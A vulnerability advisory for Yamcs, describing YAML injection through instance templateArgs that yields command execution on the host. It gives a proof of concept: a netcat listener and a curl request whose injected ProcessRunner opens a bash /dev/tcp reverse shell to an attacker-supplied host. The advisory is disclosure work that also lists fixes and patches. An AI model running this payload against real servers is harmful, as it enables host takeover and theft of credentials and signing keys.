Summary

templateArgs sent to POST /api/instances (and PATCH /api/instances/{instance}) are written into the rendered instance config as raw text, then parsed as YAML and loaded. Yamcs instantiates each services: entry by its class:, so injecting YAML through a template arg lets you add a services: entry for org.yamcs.ProcessRunner and run a command on the host. The args aren't escaped for YAML or validated server-side.

Needs the CreateInstances privilege. With no security.yaml the guest user is superuser=true and the API is unauthenticated, so it's reachable without auth, same default exposure as CVE-2026-46562. The 5.12.7 algorithm-edit fix doesn't touch this path.

Details

VarStatement appends arg values with no escaping:

// yamcs-core/src/main/java/org/yamcs/templating/VarStatement.java:29
buf.append(value);

The only filter, EscapeFilter, does HTML escaping (& < > ' ") and leaves newlines, colons and indentation alone, so {{ x | escape }} doesn't help either. InstancesApi.createInstance forwards the args without checking them against the declared variables; the choices / required metadata is only used to render the web form.

Request to exec:
InstancesApi.createInstance (http/api/InstancesApi.java:169, checks CreateInstances)
→ YamcsServer.createInstance (YamcsServer.java:651, template.process(templateArgs))
→ rendered config loaded as YConfiguration
→ YamcsServerInstance instantiates services: by class: (YamcsServerInstance.java:75,88, via YObjectLoader)
→ org.yamcs.ProcessRunner runs new ProcessBuilder(command).start() (ProcessRunner.java:81-82).

createInstance has no field for a class name or raw config, and no other API instantiates an arbitrary class at runtime (ServicesApi only starts/stops existing ones), so the template arg is the only way in.

A fix would be to validate templateArgs (reject newlines / control characters, enforce the declared choices / required) and/or escape substituted values for the YAML context.

PoC

Run the shipped example: ./run-example.sh templates. It serves HttpServer on 8090 with no security.yaml, so guest is superuser and the API is unauthenticated. Its example template puts {{ spaceSystem }} into name: "...".

Listener:

nc -lvnp 4444

Request (set <LHOST> / <LPORT> to the listener):

curl -i -X POST http://<target>:8090/api/instances \
  -H 'Content-Type: application/json' \
  -d '{
    "name": "pwned",
    "template": "example",
    "templateArgs": {
      "spaceSystem": "x\"\nservices:\n  - class: org.yamcs.ProcessRunner\n    args:\n      command: [\"bash\", \"-c\", \"exec 3<>/dev/tcp/<LHOST>/<LPORT>; sh -i <&3 >&3 2>&3\"]\n#",
      "bar": "Option 2"
    }
  }'

Returns 200; the new instance starts the injected ProcessRunner, which connects back to the listener with a shell running as the Yamcs user (id shows the service account). The arg closes the name: "..." quote, adds a top-level services: (which overrides the template's services: [], last key wins in SnakeYAML), and ends with # to comment out the trailing ".

With security.yaml it's the same request with a bearer token. This works for a user whose only privilege is CreateInstances: that user gets 403 (Missing system privilege 'ChangeMissionDatabase') on the algorithm-override path but 200 here.

Impact

Command execution as the Yamcs service account. That includes reading secretKey from etc/yamcs.yaml (which lets you mint tokens for any user including a superuser), reading other secrets (LDAP bind, OIDC client secret, TLS keys), and reading or tampering with telemetry and command history for every instance on the box.

It needs CreateInstances, or no auth at all in the default config. On a server that delegates that privilege to operators who shouldn't have a shell, or that runs without security.yaml, this is host takeover from the API.

References

• GHSA-73mf-m39p-wpm9
• yamcs/yamcs@549f295
• yamcs/yamcs@7192da1
• https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8
• https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2